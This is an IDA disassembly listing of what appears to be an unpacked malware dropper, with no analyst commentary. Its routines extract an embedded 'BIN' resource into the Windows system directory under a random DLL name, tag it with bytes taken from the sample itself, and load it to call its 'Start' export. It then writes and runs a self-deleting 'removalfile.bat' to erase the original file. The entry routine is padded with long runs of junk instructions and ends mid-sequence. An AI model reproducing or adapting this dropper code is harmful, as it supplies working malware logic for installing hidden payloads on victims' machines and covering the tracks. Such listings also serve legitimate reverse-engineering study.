;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	71D1243E223E042EABECAA2FD6ED83E6

; File Name   :	u:\work\71d1243e223e042eabecaa2fd6ed83e6_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 0000E000 (  57344.)
; Section size in file		: 0000E000 (  57344.)
; Offset to raw	data for section: 00001000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_text, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: sub_401169+87p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	esi
		push	80h
		push	2
		push	esi
		push	1
		push	40000000h
		push	[ebp+arg_0]
		xor	ebx, ebx
		call	dword_40200C	; CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_401052
		push	esi
		lea	eax, [ebp+var_4]
		push	eax
		mov	[ebp+var_4], esi
		mov	esi, [ebp+arg_8]
		push	esi
		push	[ebp+arg_4]
		push	edi
		call	dword_402008	; WriteFile
		test	eax, eax
		jz	short loc_40104B
		cmp	[ebp+var_4], esi
		jnz	short loc_40104B
		inc	ebx


loc_40104B:				; CODE XREF: sub_401000+43j
					; sub_401000+48j
		push	edi
		call	dword_402004	; CloseHandle


loc_401052:				; CODE XREF: sub_401000+29j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401059	proc near		; CODE XREF: sub_401169+94p

var_12C		= byte ptr -12Ch
var_28		= byte ptr -28h
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 12Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, offset aAzxcdsweq ; "azxcdsweq"
		lea	edi, [ebp+var_18]
		movsd
		movsd
		lea	eax, [ebp+var_18]
		push	eax
		mov	[ebp+var_8], 10h
		movsw
		call	dword_40201C	; lstrlen
		mov	[ebp+var_C], eax
		push	104h
		lea	eax, [ebp+var_12C]
		push	eax
		xor	esi, esi
		push	esi
		call	dword_402018	; GetModuleFileNameA
		mov	edi, dword_40200C
		push	esi
		push	esi
		push	3
		pop	ebx
		push	ebx
		push	esi
		push	ebx
		push	80000000h
		lea	eax, [ebp+var_12C]
		push	eax
		call	edi	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_40115B
		push	esi
		push	esi
		push	ebx
		push	esi
		push	ebx
		push	40000000h
		push	[ebp+arg_0]
		call	edi	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4010E3
		push	[ebp+var_4]
		call	dword_402004	; CloseHandle
		jmp	short loc_40115B
; ---------------------------------------------------------------------------


loc_4010E3:				; CODE XREF: sub_401059+7Dj
		mov	edi, dword_402014
		push	2
		push	esi
		push	0FFFFFFF3h
		push	[ebp+var_4]
		call	edi	; SetFilePointer
		push	esi
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+var_8]
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+var_4]
		call	dword_402010	; ReadFile
		test	eax, eax
		jnz	short loc_401117
		push	[ebp+var_4]
		mov	esi, dword_402004
		jmp	short loc_401156
; ---------------------------------------------------------------------------


loc_401117:				; CODE XREF: sub_401059+B1j
		push	2
		push	esi
		push	esi
		push	ebx
		call	edi	; SetFilePointer
		mov	edi, dword_402008
		push	esi
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_C]
		lea	eax, [ebp+var_18]
		push	eax
		push	ebx
		mov	[ebp+var_8], 0Dh
		call	edi	; WriteFile
		push	esi
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+var_8]
		lea	eax, [ebp+var_28]
		push	eax
		push	ebx
		call	edi	; WriteFile
		test	eax, eax
		mov	esi, dword_402004
		push	[ebp+var_4]
		jnz	short loc_40115F


loc_401156:				; CODE XREF: sub_401059+BCj
		call	esi	; CloseHandle
		push	ebx
		call	esi	; CloseHandle


loc_40115B:				; CODE XREF: sub_401059+63j
					; sub_401059+88j
		xor	eax, eax
		jmp	short loc_401164
; ---------------------------------------------------------------------------


loc_40115F:				; CODE XREF: sub_401059+FBj
		call	esi	; CloseHandle
		push	ebx
		call	esi	; CloseHandle


loc_401164:				; CODE XREF: sub_401059+104j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401059	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401169	proc near		; CODE XREF: sub_4012A9+2Dp

var_1		= byte ptr -1
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		push	edi
		push	offset asc_4020F4 ; "\\"
		push	104h
		push	ebx
		mov	[ebp+var_1], 0
		call	dword_402038	; GetSystemDirectoryA
		add	eax, ebx
		push	eax
		call	dword_402000	; lstrcpy
		push	[ebp+arg_4]
		push	ebx
		call	dword_40202C	; lstrcat
		push	80h
		push	ebx
		call	dword_402034	; SetFileAttributesA
		push	0
		call	dword_402030	; GetModuleHandleA
		push	offset aBin	; "BIN"
		mov	esi, eax
		push	68h
		push	esi
		call	dword_402060	; FindResourceA
		mov	edi, eax
		test	edi, edi
		jz	short loc_401207
		push	edi
		push	esi
		call	dword_402028	; LoadResource
		test	eax, eax
		jz	short loc_401207
		push	eax
		call	dword_402024	; LockResource
		test	eax, eax
		mov	[ebp+arg_8], eax
		jz	short loc_401207
		push	edi
		push	esi
		call	dword_402020	; SizeofResource
		test	eax, eax
		jz	short loc_401207
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_401000
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401207
		push	ebx
		call	sub_401059
		pop	ecx
		mov	[ebp+var_1], 1


loc_401207:				; CODE XREF: sub_401169+5Aj
					; sub_401169+66j ...
		mov	al, [ebp+var_1]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401169	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40120F	proc near		; CODE XREF: sub_4012A9+18p

var_10		= dword	ptr -10h
var_8		= word ptr -8
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_402068	; GetCursorPos
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_402040	; GetSystemTimeAsFileTime
		call	dword_40203C	; GetTickCount
		movzx	edx, [ebp+var_8]
		mov	ecx, eax
		movzx	eax, [ebp+var_4]
		shl	eax, 10h
		or	eax, edx
		imul	ecx, eax
		imul	ecx, [ebp+var_10]
		imul	ecx, [ebp+var_10]
		xor	edx, edx
		push	19h
		mov	eax, ecx
		pop	edi
		div	edi
		mov	esi, [ebp+arg_0]
		add	dl, 61h
		and	[ebp+arg_0], 0
		mov	[esi], dl


loc_401261:				; CODE XREF: sub_40120F+85j
		xor	edx, edx
		push	5
		pop	ebx
		mov	eax, ecx
		div	ebx
		push	19h
		lea	edi, [esi+1]
		movsx	eax, dl
		movsx	edx, byte ptr [esi]
		add	eax, edx
		cdq
		pop	esi
		idiv	esi
		mov	eax, ecx
		push	0Ah
		pop	ecx
		mov	esi, edi
		add	dl, 61h
		mov	[edi], dl
		xor	edx, edx
		div	ecx
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 7
		mov	ecx, eax
		jl	short loc_401261
		push	[ebp+arg_4]
		mov	byte ptr [esi],	2Eh
		inc	esi
		push	esi
		call	dword_402000	; lstrcpy
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40120F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4012A9	proc near		; CODE XREF: .text:00401D82p

var_208		= byte ptr -208h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 208h
		push	esi
		xor	esi, esi


loc_4012B5:				; CODE XREF: sub_4012A9+40j
		lea	eax, [ebp+var_104]
		push	offset aDll	; "dll"
		push	eax
		call	sub_40120F
		lea	eax, [ebp+var_208]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		push	1
		call	sub_401169
		add	esp, 14h
		test	al, al
		jz	short loc_4012E5
		push	63h
		pop	esi


loc_4012E5:				; CODE XREF: sub_4012A9+37j
		inc	esi
		cmp	esi, 1Eh
		jl	short loc_4012B5
		cmp	esi, 64h
		jnz	short loc_40131C
		lea	eax, [ebp+var_208]
		push	eax
		call	dword_40204C	; LoadLibraryA
		mov	esi, eax
		test	esi, esi
		jz	short loc_40131C
		push	offset aStart	; "Start"
		push	esi
		call	dword_402048	; GetProcAddress
		test	eax, eax
		jz	short loc_401315
		call	eax


loc_401315:				; CODE XREF: sub_4012A9+68j
		push	esi
		call	dword_402044	; FreeLibrary


loc_40131C:				; CODE XREF: sub_4012A9+45j
					; sub_4012A9+58j
		xor	al, al
		pop	esi
		leave
		retn
sub_4012A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401321	proc near		; CODE XREF: .text:00401D87p

var_470		= byte ptr -470h
var_36C		= byte ptr -36Ch
var_268		= byte ptr -268h
var_164		= byte ptr -164h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		sub	esp, 470h
		push	ebx
		push	esi
		push	edi
		mov	esi, 104h
		push	esi
		lea	eax, [ebp+var_36C]
		push	eax
		xor	ebx, ebx
		push	ebx
		call	dword_402018	; GetModuleFileNameA
		mov	edi, 80h
		push	edi
		lea	eax, [ebp+var_36C]
		push	eax
		call	dword_402034	; SetFileAttributesA
		lea	eax, [ebp+var_36C]
		push	eax
		call	dword_402058	; GetFileAttributesA
		cmp	eax, edi
		jz	short loc_40136E
		xor	al, al
		jmp	loc_40147E
; ---------------------------------------------------------------------------


loc_40136E:				; CODE XREF: sub_401321+44j
		lea	eax, [ebp+var_470]
		push	eax
		push	esi
		mov	[ebp+var_1], bl
		call	dword_402054	; GetTempPathA
		mov	edi, dword_402000
		lea	eax, [ebp+var_470]
		push	eax
		lea	eax, [ebp+var_268]
		push	eax
		call	edi	; lstrcpy
		mov	esi, dword_40202C
		push	offset aRemovalfile_ba ; "removalfile.bat"
		lea	eax, [ebp+var_268]
		push	eax
		call	esi	; lstrcat
		push	ebx
		push	ebx
		push	2
		push	ebx
		push	ebx
		push	40000000h
		lea	eax, [ebp+var_268]
		push	eax
		call	dword_40200C	; CreateFileA
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_40147B
		push	ebx
		lea	ecx, [ebp+var_1C]
		push	ecx
		push	2Bh
		push	offset a@echoOffDfDel1 ; "@echo	off\r\n:df\r\ndel %1\r\nif exist %1 got"...
		push	eax
		call	dword_402008	; WriteFile
		push	[ebp+var_8]
		call	dword_402004	; CloseHandle
		lea	eax, [ebp+var_268]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		call	edi	; lstrcpy
		push	offset asc_402108 ; " \""
		lea	eax, [ebp+var_164]
		push	eax
		call	esi	; lstrcat
		lea	eax, [ebp+var_36C]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		call	esi	; lstrcat
		push	offset asc_402104 ; "\""
		lea	eax, [ebp+var_164]
		push	eax
		call	esi	; lstrcat
		push	10h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_5C]
		rep stosd
		mov	[ebp+var_18], ebx
		lea	edi, [ebp+var_14]
		stosd
		stosd
		stosd
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_60]
		push	eax
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		lea	eax, [ebp+var_164]
		push	eax
		push	ebx
		mov	[ebp+var_60], 44h
		mov	[ebp+var_34], 1
		mov	[ebp+var_30], bx
		call	dword_402050	; CreateProcessA
		push	[ebp+var_14]
		mov	esi, dword_402004
		test	eax, eax
		setnz	[ebp+var_1]
		call	esi	; CloseHandle
		push	[ebp+var_18]
		call	esi	; CloseHandle


loc_40147B:				; CODE XREF: sub_401321+A5j
		mov	al, [ebp+var_1]


loc_40147E:				; CODE XREF: sub_401321+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401321	endp

; ---------------------------------------------------------------------------

		public start
start:
		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
		pop	eax
		nop
		nop
		nop
		nop
		mov	eax, eax
		push	eax
